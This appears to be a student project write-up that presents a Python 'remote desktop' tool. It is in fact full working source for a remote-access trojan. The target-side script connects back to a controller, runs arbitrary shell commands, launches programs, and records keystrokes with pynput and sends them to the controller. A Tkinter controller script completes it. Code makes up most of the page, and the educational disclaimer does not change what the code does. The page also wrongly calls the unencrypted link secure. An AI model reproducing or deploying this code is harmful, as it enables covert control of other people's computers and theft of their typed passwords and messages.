Project 4

Creating a working RDP using Socket and Python

This project is the first step of a starter implementation for remote command execution, multithreading, and network communication.

The base of this application was built using Socket, Threading, and Tkinter (for gui). At a very basic level, this application is designed to simulate a server-client model where a central server can issue commands to connected clients

It includes a straightforward graphical interface I created using Tkinter, which allows for clear input/output reading and logging of commands.

DISCLAIMER: This is a straightfoward approach into understanding how viruses work, this is entirely for educational purposes and should not be used in any malicious manner.

Key Features:

1. Client vs Target

There are two different files within this project, one for the client machine and one for the target machine.

Since the general idea of this is to see what can be performed remotely through a few lines of code, we must run a script to connect the target machine to the client side.

Raw Code:

import socket
import subprocess
import os
from pynput import keyboard

SERVER_IP = '255.255.255.255'  
SERVER_PORT = *****  # Port chosen arbitrarily in this case.

writing_data = []
text_input_logger_active = False

def on_press(key):
    global writing_data
    try:
        writing_data.append(key.char)
    except AttributeError:
        if key == keyboard.Key.space:
            writing_data.append(' ')
        elif key == keyboard.Key.enter:
            writing_data.append('\n')
        else:
            writing_data.append(f'[{key}]')

def start_text_input_logger():
    global text_input_logger_active
    if not text_input_logger_active:
        text_input_logger_active = True
        listener = keyboard.Listener(on_press=on_press)
        listener.start()

def stop_text_input_logger():
    global text_input_logger_active
    text_input_logger_active = False

def get_logged_text():
    global writing_data
    logs = ''.join(writing_data)
    writing_data = []  # Reset after retrieving logs
    return logs

def connect_to_server():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((SERVER_IP, SERVER_PORT))

    while True:
        command = client.recv(1024).decode('utf-8')

        if command.lower() == "exit":
            break
        elif command.strip() == "start_text_input_logger":
            start_text_input_logger()
            client.send("Text input logger started.\n".encode('utf-8'))
        elif command.strip() == "stop_text_input_logger":
            stop_text_input_logger()
            client.send("Text input logger stopped.\n".encode('utf-8'))
        elif command.strip() == "get_logged_text":
            logs = get_logged_text()
            client.send(f"Captured text inputs:\n{logs}\n".encode('utf-8'))
        elif command.startswith("cd "):
            try:
                directory = command.strip().split(" ", 1)[1]
                os.chdir(directory)
                client.send(f"Changed directory to {os.getcwd()}\n".encode('utf-8'))
            except Exception as e:
                client.send(f"Failed to change directory: {e}\n".encode('utf-8'))
        elif command.startswith("launch "):
            app_name = command[7:].strip()
            try:
                subprocess.Popen([app_name], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                client.send(f"Launched application: {app_name}\n".encode('utf-8'))
            except Exception as e:
                client.send(f"Failed to launch application {app_name}: {e}\n".encode('utf-8'))
        else:
            try:
                output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True)
                client.sendall(output.encode('utf-8'))
            except subprocess.CalledProcessError as e:
                client.sendall(e.output.encode('utf-8'))
            except Exception as e:
                client.send(f"Command execution failed: {e}\n".encode('utf-8'))

    client.close()

if __name__ == "__main__":
    connect_to_server()
                
            

2. Client/Server Side

Using the first script to connect the machine to a computer/server, we can then use a second script to connect directly to the shell and perform commands.

Here's what the GUI looks like:

First evaluation

Both the server and client utilize socket connections for secure communication.

The server can also handle multiple connections simultaneously, displaying their activity in real-time via the GUI.

Raw Code:

import sys
import threading
import socket
import tkinter as tk
from tkinter.scrolledtext import ScrolledText

class NetworkAdminGUI:
    def __init__(self, root):
        self.root = root
        self.root.title("Software by Matthew")

        self.output_area = ScrolledText(root, wrap=tk.WORD, height=20, width=80)
        self.output_area.pack(padx=10, pady=10)

        self.command_entry = tk.Entry(root, width=80)
        self.command_entry.pack(padx=10, pady=10)
        self.command_entry.bind("", self.send_command)

        self.client_socket = None
        self.clients = {}
        self.start_server()

    def start_server(self):
        threading.Thread(target=self.connect_to_server, daemon=True).start()

    def connect_to_server(self):
        HOST = '255.255.255.255'
        PORT = #####  # Replace with actual port

        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_socket.bind((HOST, PORT))
        server_socket.listen(5)
        self.append_output(f"[*] Listening on {HOST}:{PORT}")

        while True:
            client_socket, addr = server_socket.accept()
            # Prevent multiple connections
            if addr not in self.clients:
                self.clients[addr] = client_socket
                self.client_socket = client_socket
                self.append_output(f"[*] Accepted connection from {addr}")
                threading.Thread(target=self.handle_client, args=(client_socket, addr), daemon=True).start()
            else:
                client_socket.close()

    def handle_client(self, client_socket, addr):
        while True:
            try:
                response = client_socket.recv(4096).decode('utf-8')
                if response:
                    self.append_output(response)
            except Exception as e:
                self.append_output(f"Connection error with {addr}: {e}")
                client_socket.close()
                if addr in self.clients:
                    del self.clients[addr]
                break

    def send_command(self, event=None):
        command = self.command_entry.get()
        if self.client_socket and command:
            try:
                self.client_socket.sendall(command.encode('utf-8'))
                self.append_output(f"> {command}")
            except Exception as e:
                self.append_output(f"Failed to send command: {e}")
                self.client_socket = None  # Reset on failure
            self.command_entry.delete(0, tk.END)

    def append_output(self, message):
        self.output_area.insert(tk.END, message + "\n")
        self.output_area.yview(tk.END)

def run_gui():
    root = tk.Tk()
    gui = NetworkAdminGUI(root)
    root.mainloop()

if __name__ == "__main__":
    run_gui()
            

3. Testing

I decided to use a virtual machine using the Kali Linux operating system, as I have previous experience with this OS and it's very straightforward to me.

It worked as intended, and I will provide new photos soon. I created this tool around two weeks ago so I don't have any screenshots of it working right now.

4. Future Work

I plan on continuing this application so I can learn more about cyberserity and shell:

  • Encryption for secure communication
  • Client monitoring/reporting (more than uname -a)
  • Implementing FTP
  • Better GUI
  • Technologies Used

    Sources

    https://www.geeksforgeeks.org/socket-programming-python/